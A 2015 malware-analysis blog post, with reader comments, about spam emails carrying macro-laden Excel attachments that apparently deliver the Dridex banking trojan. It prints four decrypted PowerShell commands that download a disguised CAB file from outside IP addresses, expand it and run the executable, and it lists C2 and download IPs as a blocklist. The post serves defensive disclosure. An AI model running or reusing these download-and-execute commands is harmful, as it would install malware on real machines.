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Wednesday, 18 February 2015

Multiple spam emails using malicious XLS or XLSM attachment

I'm seeing multiple spam runs (probably pushing the Dridex banking trojan) with no body text, various subjects and either an XLS or XLSM attachment.

Example subjects include:
Copy [ID:15E376774] attaced
RE: Requests documentation [458C28133]
Request error [C3843]
Request error [FDF396530]
Requests documentation [242B035667]


Attachments look something similar to this:
15E376774.xlsm
242B035667.xlsm
458C28133.xls
C3843.xls
FDF396530.xlsm

The XLS and XLSM files are different structurally.. the XLSM files are basically an Office 2007 ZIP archive of all the data components, the XLS files are an old school Office 2003 file. Nevertheless, they contain a macro with 23 components to make it harder to analyse, although the important modules are Module 11 which contains the text string to decrypt, and Module 14 which contains the decryption function itself. Almost everything else is irrelevant.

Once the string is decrypted, it becomes fairly obvious what it going on. So far, there appear to be four strings with different download locations:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.151/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.235/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.63/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
So, we can see a file dxzq.jpg being downloaded which is actually a CAB file (JIOiodfhioIH.cab) which is then expanded to JIOiodfhioIH.exe and then run.

For information, these IPs are hosted by:

5.196.243.7 (OVH, Ireland)
46.30.42.151 (Eurobtye LLC, Russia)
176.31.28.235 (OVH, France)
92.63.88.63 (MWTV, Latvia)

This executable has a detection rate of 4/56. Automated analysis [1] [2] [3] shows attempted network connections to:

82.151.131.129 (Doruknet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

The Malwr report shows that it also drops a DLL with a detection rate of just 1/56.

Recommended blocklist:
82.151.131.129
121.50.43.175
74.208.68.243
5.196.243.7
46.30.42.151
176.31.28.235
92.63.88.63

For research purposes, a copy of the files analysed and dropped can be found here, password is infected

3 comments:

Robin Norris said...

Additional Subject pattern: Invoice ID:Z999999_999

smokedPhish said...

Sterling work Dynamoo. In addition to your blocklist I detected 5 variants today connecting to the following C2 IPs:

176.31.28.235
95.163.121.73
188.120.226.6
130.241.34.98

Robin Norris said...

Another variant on this one today with the same cab file being pulled from http.../kwefewef/fgdsee/dxzg.jpg

Subject heading on today's look like this: Your order is ready for shipment T/N:JQ6554_811